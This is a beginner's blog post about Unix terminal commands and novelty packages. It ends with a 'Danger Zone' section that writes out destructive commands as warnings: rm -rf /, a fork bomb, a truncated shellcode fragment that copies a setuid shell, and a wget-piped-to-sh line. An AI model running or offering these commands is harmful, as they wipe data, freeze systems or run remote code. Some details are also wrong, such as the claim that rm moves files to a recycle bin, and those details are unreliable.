DEV Community

Cover image for Basics of the Unix terminal

Basics of the Unix terminal

harshhhdev profile image Harsh Singh Updated on ・4 min read

Working with files and directories

Working with files and directories is perhaps one of the most basic and simple thing which every Linux user should have somewhat of an idea of. The following commands guide a user on how to navigate through files on their terminal.

Fun with files and directories.

  • cd/directory-name. This command takes you to a folder/directory in your files explorer. Note, unlike the Windows terminal, the Linux terminal is case sensitive, so you can't get by with a lower case :*(

  • cd. This will take you back to your home directory.

  • cd... This will take you back a directory.

If you haven't changed any file or folder names, you can try to do cd Downloads, and it will take you to the downloads folder in your files diretory.

  • ls. To show the files which are in the directory, just type in ls

  • pwd. Tells the location of your current directory.

  • mv. This can be used to both rename a file, and move a file (as shown below). You can do mv filename newfilename and it will rename that file!

  • mkdir. To make a new folder/diretory from the terminal, the mldir command is the way to go!

  • touch. To create, modify, and change timestamp of a computer file or folder, this command is used. If a file does not exist, then this command creates on!

touch fileName can create a new file if the file does not exist in the directory you're in.

Credits to Jon Randy for pointing out my mistake!

To read more about touch, visit this link

  • rm. To delete a file and move it to the recycle bin, type in rm filename which removes the file from your current directory.

  • cp. To copy a file, use the cp command. cp filename home/you/Documents will copy the file in your current directory to another directory.

  • mv. Moves a file. You can do mv filename home/you/Documents and it will move the file in your current directory to another directory. As state above, this can also act as a way to rename your files.

Onto some fun stuff

Now that we have the basics of file navigation down, let's move onto some fun stuff! (yay)

Run a train in the terminal

Let's take a train ride, eh?


To make your train fly, type in sl -F

Required pacakge install: sudo apt install sl

cowsay, figlet, lolcat

Needed packages.

sudo apt-get install cowsay
sudo apt-get install fortune
sudo apt-get install figlet

Option for lolcat

Install Ruby. ruby -v
Install lolcat via gem gem install lolcat

RGB text

$ echo "RGB makes your computer fast" | figlet | lolcat

Have a cow predict your future

$ fortune | cowsay | lolcat

Cool rainbow image thingy :P

$ git log -1 | cowsay -f dragon-and-cow | lolcat

Hacker mode

To make 5th graders feel like Hackers (sorry not sorry :P), you can do the matrix command. Type in cmatrix in the terminal.

Required pacakge install: sudo apt install cmatrix

Danger Zone!

These are dangerous commands which you SHOULD NOT DO!

Note: Don’t execute any of the below command in your Linux terminal or shell or of your friend or school computer. If you want to test them, run them in virtual machine. Any in-consistence or data loss, due to the execution of above command will break your system down for which, neither the me nor is responsible.

  • rm -rf /. This command delets ALL of your files from your root directory!

  • :(){:|:&};:. This is a fork bomb. This operates by defining a function called ":", which calls itself twice, once in the forground and once in the background. It keeps on executing until your system freezes.

  • Hidden rm -rf/

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“cp -p /bin/sh /tmp/.beyond; chmod 4755

This following command will show that threats are hidden and not always visible to you. This will delete your root partition.

  • wget http://malicious_source -O- | sh. No explaination needed for this. The link already looks suspicious and you should not install this as it will download a script and execute it, and your computer will have viruses/malware.

  • > xt.conf. This will flush the content of the system file.


To end this off, we're going to talk about sudo. sudo is a possibly dangerous command. It allows you to run programs with a administrator permissions. Running the command is not a sin, but don't randomly sudo something when you don't really know what it is.

Discussion (3)

Editor guide
jonrandy profile image
Jon Randy

The description for touch is not really correct - touch is a command used to update the access date and/or modification date of a computer file or folder. The fact that it creates the file if it doesn't exist is purely a side effect, not its primary function. There are many ways to create a new file

harshhhdev profile image
Harsh Singh Author

I see. Thanks for pointing it out! I'll update it with a credit to you :)

anuraghazra profile image